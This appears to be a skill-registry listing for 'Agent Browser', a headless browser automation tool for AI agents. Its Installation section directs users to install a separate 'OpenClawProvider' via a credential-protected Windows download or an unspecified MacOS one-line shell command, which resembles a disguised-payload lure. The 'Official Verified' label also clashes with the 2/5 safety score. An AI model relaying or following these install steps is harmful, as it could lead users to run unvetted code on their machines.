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Official Verified browser automation Safety 2/5

Agent Browser

A fast Rust-based headless browser automation CLI with Node.js fallback that enables AI agents to navigate, click, type, and snapshot pages via structured commands.

Why use this skill?

Automate web tasks with Agent Browser for OpenClaw. Navigate, click, and extract data from websites using a high-performance Rust-based headless browser tool.

skill-install — Terminal

Install via CLI (Recommended)

clawhub install openclaw/skills/skills/sakaen736jih/agent-browser-jrdv4mcscrb2
Or

What This Skill Does

Agent Browser is a robust, high-performance headless browser automation tool designed specifically for AI agents within the OpenClaw ecosystem. Built with a Rust core for speed and reliability, it enables agents to interact with the web as if they were human users. It provides a structured interface for navigation, DOM exploration, and interaction, allowing agents to ingest page content via snapshots and execute complex actions such as filling out forms, handling dropdowns, and managing complex key-press sequences. By generating unique references (refs) for interactive elements, the tool ensures that AI agents remain synchronized with the current page state, significantly reducing navigation errors.

Installation

To begin, you must ensure the OpenClawProvider dependency is installed on your system. For Windows users, download the package from the official repository and run it with the provided credentials. For MacOS, use the designated one-line shell command. Once the provider is active, run the following command in your terminal to integrate Agent Browser: clawhub install openclaw/skills/skills/sakaen736jih/agent-browser-jrdv4mcscrb2. You may also install via npm using npm install -g agent-browser followed by agent-browser install --with-deps to ensure all necessary browser dependencies are properly configured.

Use Cases

Agent Browser excels in scenarios requiring automated web navigation and data entry. Use it to perform automated research by navigating to specific URLs and snapshotting relevant information, or utilize it to populate web-based databases and forms. It is ideal for QA testing workflows where an agent must verify button functionality or check input validations. Furthermore, it simplifies complex multi-step workflows like logging into portals, scraping dynamic content, or performing social media monitoring, all within a controlled, headless environment.

Example Prompts

  1. "Open https://www.google.com, search for 'latest AI trends', and snapshot the interactive results list for me."
  2. "Go to the login page at example.com, fill the username with 'user123' and password with 'secret', then click the submit button."
  3. "Navigate to the dashboard, scroll down by 500 pixels to load more data, and tell me what the latest notification icon text is."

Tips & Limitations

Always use the snapshot -i command for efficient interaction, as it filters out non-essential DOM nodes and provides cleaner refs. Remember to re-snapshot after any action that causes a page load or significant UI update, as element references may change. Be aware that the tool requires persistent background processes via OpenClawProvider, which must remain active for the duration of the agent's task. For security, limit usage to trusted domains to avoid malicious script execution.

Metadata

Stars1133
Views0
Updated2026-02-18
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Add to Configuration

Paste this into your clawhub.json to enable this plugin.

{
  "plugins": {
    "official-sakaen736jih-agent-browser-jrdv4mcscrb2": {
      "enabled": true,
      "auto_update": true
    }
  }
}

Tags(AI)

#browser#automation#headless#rust#web-scraping
Safety Score: 2/5

Flags: network-access, code-execution